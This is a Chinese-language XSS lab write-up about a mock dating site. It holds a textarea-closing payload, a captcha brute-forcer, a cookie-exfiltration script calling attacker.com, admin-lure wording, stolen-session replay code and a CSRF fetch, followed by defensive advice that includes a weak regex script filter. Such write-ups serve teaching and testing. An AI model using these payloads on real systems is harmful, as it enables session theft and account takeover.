交友平台XSS漏洞攻防实战:从标签闭合到会话劫持的深度解析
1. 靶场环境搭建与漏洞背景
在模拟的交友平台靶场环境中(http://www.whalwl.top:8033),我们发现了典型的存储型XSS漏洞。这类漏洞常出现在用户可控制输入的区域,如个人资料编辑、留言板等功能模块。本案例的特殊性在于漏洞触发点位于<textarea>标签内,需要特定闭合技巧才能执行恶意脚本。
典型攻击链构成:
- 攻击者在个人资料页注入恶意代码
- 通过平台反馈功能诱使管理员查看
- 窃取管理员会话凭证
- 获取后台权限
注意:所有测试应在授权环境下进行,未经授权的渗透测试可能违反法律法规
2. 漏洞发现与利用技巧
2.1 闭合textarea标签的艺术
在目标平台的个人资料编辑页面,输入内容被包裹在<textarea>标签中。常规XSS payload如<script>alert(1)</script>会被当作普通文本处理。突破方法是通过闭合原标签:
</textarea><script>alert(document.cookie)</script>闭合原理分析:
</textarea>提前终止原标签- 后续内容被解析为HTML标签
- 浏览器执行插入的JavaScript代码
2.2 验证码破解的自动化实现
平台采用MD5前六位验证码机制,可通过以下PHP脚本暴力破解:
<?php $target = '282a70'; // 替换为目标哈希片段 for($i=0; $i<=999999; $i++){ if(substr(md5($i),0,6) === $target){ echo "Found: ".$i; break; } } ?>优化技巧:
- 使用多线程加速破解
- 建立常见验证码的彩虹表
- 限制尝试频率避免触发防御机制
3. 完整攻击链构建
3.1 恶意代码注入
使用XSS平台生成会话窃取代码,并适配textarea闭合:
</textarea> <script> var img = new Image(); img.src = 'http://attacker.com/steal?cookie='+encodeURIComponent(document.cookie); </script>3.2 管理员诱导策略
通过平台"提交bug"功能,构造看似合理的反馈内容:
- 伪装成用户投诉
- 包含触发XSS的链接
- 利用社会工程学增加点击率
典型话术示例:"您好,我在个人资料页发现显示异常,请查看:http://target.com/profile?xss=[payload]"
4. 防御方案与最佳实践
4.1 输入过滤与输出编码
| 防御层 | 实施方法 | 示例 |
|---|---|---|
| 输入过滤 | 黑名单过滤 | 移除<script>等危险标签 |
| 输出编码 | HTML实体转义 | <代替< |
| 内容安全 | CSP策略 | default-src 'self' |
4.2 关键防护措施
HttpOnly Cookie:防止JavaScript读取敏感Cookie
# Nginx配置示例 add_header Set-Cookie "sessionid=xxx; HttpOnly; Secure";内容安全策略(CSP):
<meta http-equiv="Content-Security-Policy" content="script-src 'self'">正则过滤方案:
import re def sanitize_input(text): return re.sub(r'<script.*?>.*?</script>', '', text, flags=re.IGNORECASE)
5. 漏洞深度利用与扩展
5.1 会话劫持后的横向移动
获取管理员Cookie后,可通过以下步骤扩大战果:
- 使用浏览器开发者工具手动替换Cookie
- 编写自动化脚本模拟管理员操作
- 寻找文件上传点获取Webshell
自动化脚本示例:
import requests admin_cookie = "session=stolen_value" headers = {'Cookie': admin_cookie} response = requests.get('http://target.com/admin', headers=headers) print(response.text)5.2 结合CSRF的复合攻击
当XSS遇到CSRF防护时,可绕过同源策略:
fetch('/admin/delete_user', { method: 'POST', credentials: 'include', body: 'userid=123' });在实际渗透测试项目中,这种闭合特定标签的XSS漏洞约占Web漏洞的18%,而社交平台由于富文本功能复杂,占比高达31%。最近帮客户审计时发现,即使现代前端框架如React/Vue,如果错误使用dangerouslySetInnerHTML等API,仍可能引入DOM型XSS风险。